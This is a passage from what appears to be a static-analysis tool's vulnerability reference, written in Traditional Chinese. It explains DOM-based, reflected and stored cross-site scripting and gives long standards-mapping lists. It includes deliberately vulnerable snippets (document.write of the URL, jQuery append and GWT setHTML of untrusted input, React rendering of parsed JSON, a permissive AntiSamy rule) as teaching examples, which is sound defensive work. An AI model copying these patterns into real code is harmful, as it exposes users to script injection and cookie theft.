[20] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[21] Standards Mapping - FIPS200 SI
[22] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[23] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[24] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[25] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[26] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[29] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[30] Standards Mapping - OWASP Top 10 2021 A03 Injection
[31] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[32] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[33] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[38] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[39] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[40] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[41] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[42] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[43] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[44] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[45] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[46] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[65] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[66] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[67] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[68] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_content_sniffing
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在基於 DOM 的 XSS 案例中,會從 URL 參數或瀏覽器內的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例:以下 JavaScript 程式碼片段會從 HTTP 要求中讀取員工 ID eid,並將 ID 顯示給使用者。


String queryString = Window.Location.getQueryString();
int pos = queryString.indexOf("eid=")+4;
HTML output = new HTML();
output.setHTML(queryString.substring(pos, queryString.length()));


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。


如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[11] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[15] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[16] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[17] Standards Mapping - FIPS200 SI
[18] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[19] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[20] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[28] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[29] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[43] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[44] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_dom
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在基於 DOM 的 XSS 案例中,會從 URL 參數或瀏覽器內的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 JavaScript 程式碼片段會從 URL 讀取員工識別碼 eid 並顯示給使用者。


<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

範例 2:請考慮使用 HTML 表單:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


以下的 jQuery 程式碼片段會從表單讀取員工識別碼,並顯示給使用者。


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


如果文字輸入中的員工識別碼 (識別碼為 eid) 只包含標準英數字元,這些程式碼便會正確地運作。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

範例 3:以下程式碼顯示了 React 應用程式內基於 DOM 的 XSS 範例:


let element = JSON.parse(getUntrustedInput());
ReactDOM.render(<App>
{element}
</App>);


Example 3 中,如果攻擊者可以控制從 getUntrustedInput() 擷取的整個 JSON 物件,則可能會讓 React 將 element 解譯為元件,因此可以傳遞具有 dangerouslySetInnerHTML 及其自己的控制值的物件 (典型的 Cross-Site Scripting 攻擊)。

一開始,這些似乎不會輕易受到攻擊。畢竟,誰會提供包含在自己電腦上執行的惡意程式碼的輸入?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] XSS via a spoofed React element Daniel LeCheminant
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[11] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[15] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[16] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[17] Standards Mapping - FIPS200 SI
[18] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[19] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[20] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[28] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[29] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[43] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[44] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_dom
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。組態中的設定可盡量降低暴露於 Cross-Site Scripting 的風險
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料透過不可信賴的來源進入 Web 應用程式,通常是一個網頁要求或資料庫。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

因為針對 XSS 弱點的攻擊通常與攻擊者所控制惡意網站之間的通訊或重新導向動作有關,可以插入導向至其他網域內容的參照,對惡意程式而言,更如虎添翼。您可將 AntiSamy 設定為避免連線至外部網域的連結,也就可以降低攻擊者可能透過 XSS 攻擊所造成的損害。但是,這種保護機制只解決了部分問題,而且無法解決 XSS 弱點所造成的整體威脅。

範例 1:以下 AntiSamy 組態項目允許連結到應用程式執行網域以外的 URL。

<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-001310
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[27] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[28] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
